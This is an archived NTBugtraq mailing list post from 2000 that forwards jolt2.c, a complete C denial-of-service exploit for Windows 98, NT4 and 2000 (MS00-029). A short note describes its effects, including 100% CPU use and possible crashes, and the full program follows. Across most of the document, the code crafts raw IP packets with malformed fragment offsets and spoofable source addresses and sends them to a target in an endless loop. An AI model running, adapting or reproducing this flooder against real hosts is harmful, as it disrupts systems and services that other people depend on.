home *** CD-ROM | disk | FTP | other *** search
/ linuxmafia.com 2016 / linuxmafia.com.tar / linuxmafia.com / pub / ms-windows / malware / jolt2 < prev    next >
Encoding:
Text File  |  2000-10-25  |  4.6 KB  |  194 lines

  1. http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0005&L=NTBUGTRAQ&P=R11680&D=0&H=0&O=T&T=1
  2.  
  3. Date:         Thu, 25 May 2000 11:41:45 -0400
  4. Reply-To:     Phonix Monkey <phonix@MOOCOW.ORG>
  5. Sender:       Windows NTBugtraq Mailing List <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM>
  6. From:         Phonix Monkey <phonix@MOOCOW.ORG>
  7. Subject:      Windows DoS code (jolt2.c) (fwd)
  8. Content-Type: TEXT/PLAIN; charset=US-ASCII
  9.  
  10. This is code for the new DoS discovered by Razor a few days ago.  It
  11. forces cpu utilization to 100%, making everything move really really
  12. slow.  Tested against Win98, WinNT4/sp5,6, Win2K.
  13.  
  14. An interesting side note is that minor changes to this packet cause
  15. NT4/Win2k (maybe others, not tested) memory use to jump
  16. *substantially* (+70 meg non-paged-pool on a machine with 196 mb
  17. phys).  There seems to be a hard upper limit, but on machines with smaller
  18. amounts of memory or smaller swapfiles, ramping up the non-paged-pool this
  19. much might lead to a BSOD.
  20.  
  21. .phonix.
  22.  
  23.  
  24.  
  25.  
  26. /*
  27.  * File:   jolt2.c
  28.  * Author: Phonix <phonix@moocow.org>
  29.  * Date:   23-May-00
  30.  *
  31.  * Description: This is the proof-of-concept code for the
  32.  *              Windows denial-of-serice attack described by
  33.  *              the Razor team (NTBugtraq, 19-May-00)
  34.  *              (MS00-029).  This code causes cpu utilization
  35.  *              to go to 100%.
  36.  *
  37.  * Tested against: Win98; NT4/SP5,6; Win2K
  38.  *
  39.  * Written for: My Linux box.  YMMV.  Deal with it.
  40.  *
  41.  * Thanks: This is standard code.  Ripped from lots of places.
  42.  *         Insert your name here if you think you wrote some of
  43.  *         it.  It's a trivial exploit, so I won't take credit
  44.  *         for anything except putting this file together.
  45.  */
  46.  
  47. #include <stdio.h>
  48. #include <string.h>
  49. #include <netdb.h>
  50. #include <sys/socket.h>
  51. #include <sys/types.h>
  52. #include <netinet/in.h>
  53. #include <netinet/ip.h>
  54. #include <netinet/ip_icmp.h>
  55. #include <netinet/udp.h>
  56. #include <arpa/inet.h>
  57. #include <getopt.h>
  58.  
  59. struct _pkt
  60. {
  61.   struct iphdr    ip;
  62.   union {
  63.     struct icmphdr  icmp;
  64.     struct udphdr   udp;
  65.   }  proto;
  66.   char data;
  67. } pkt;
  68.  
  69. int icmplen  = sizeof(struct icmphdr),
  70.     udplen   = sizeof(struct udphdr),
  71.     iplen    = sizeof(struct iphdr),
  72.     spf_sck;
  73.  
  74. void usage(char *pname)
  75. {
  76.   fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
  77.            pname);
  78.   fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
  79.   exit(0);
  80. }
  81.  
  82. u_long host_to_ip(char *host_name)
  83. {
  84.   static  u_long ip_bytes;
  85.   struct hostent *res;
  86.  
  87.   res = gethostbyname(host_name);
  88.   if (res == NULL)
  89.     return (0);
  90.   memcpy(&ip_bytes, res->h_addr, res->h_length);
  91.   return (ip_bytes);
  92. }
  93.  
  94. void quit(char *reason)
  95. {
  96.   perror(reason);
  97.   close(spf_sck);
  98.   exit(-1);
  99. }
  100.  
  101. int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
  102. {
  103.   int     bs, psize;
  104.   unsigned long x;
  105.   struct  sockaddr_in to;
  106.  
  107.   to.sin_family = AF_INET;
  108.   to.sin_port = 1235;
  109.   to.sin_addr.s_addr = dst_addr;
  110.  
  111.   if (port)
  112.     psize = iplen + udplen + 1;
  113.   else
  114.     psize = iplen + icmplen + 1;
  115.   memset(&pkt, 0, psize);
  116.  
  117.   pkt.ip.version = 4;
  118.   pkt.ip.ihl = 5;
  119.   pkt.ip.tot_len = htons(iplen + icmplen) + 40;
  120.   pkt.ip.id = htons(0x455);
  121.   pkt.ip.ttl = 255;
  122.   pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
  123.   pkt.ip.saddr = src_addr;
  124.   pkt.ip.daddr = dst_addr;
  125.   pkt.ip.frag_off = htons (8190);
  126.  
  127.   if (port)
  128.   {
  129.     pkt.proto.udp.source = htons(port|1235);
  130.     pkt.proto.udp.dest = htons(port);
  131.     pkt.proto.udp.len = htons(9);
  132.     pkt.data = 'a';
  133.   } else {
  134.     pkt.proto.icmp.type = ICMP_ECHO;
  135.     pkt.proto.icmp.code = 0;
  136.     pkt.proto.icmp.checksum = 0;
  137.   }
  138.  
  139.   while (1) {
  140.     bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
  141.               sizeof(struct sockaddr));
  142.   }
  143.   return bs;
  144. }
  145.  
  146.   int main(int argc, char *argv[])
  147. {
  148.   u_long  src_addr, dst_addr;
  149.   int i, bs=1, port=0;
  150.   char hostname[32];
  151.  
  152.   if (argc < 2)
  153.     usage (argv[0]);
  154.  
  155.   gethostname (hostname, 32);
  156.   src_addr = host_to_ip(hostname);
  157.  
  158.   while ((i = getopt (argc, argv, "s:p:h")) != EOF)
  159.   {
  160.     switch (i)
  161.     {
  162.       case 's':
  163.         dst_addr = host_to_ip(optarg);
  164.         if (!dst_addr)
  165.           quit("Bad source address given.");
  166.         break;
  167.  
  168.       case 'p':
  169.         port = atoi(optarg);
  170.         if ((port <=0) || (port > 65535))
  171.           quit ("Invalid port number given.");
  172.         break;
  173.  
  174.       case 'h':
  175.       default:
  176.         usage (argv[0]);
  177.     }
  178.   }
  179.  
  180.   dst_addr = host_to_ip(argv[argc-1]);
  181.   if (!dst_addr)
  182.     quit("Bad destination address given.");
  183.  
  184.   spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  185.   if (!spf_sck)
  186.     quit("socket()");
  187.   if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
  188.       sizeof(bs)) < 0)
  189.     quit("IP_HDRINCL");
  190.  
  191.   do_frags (spf_sck, src_addr, dst_addr, port);
  192. }
  193.  
  194.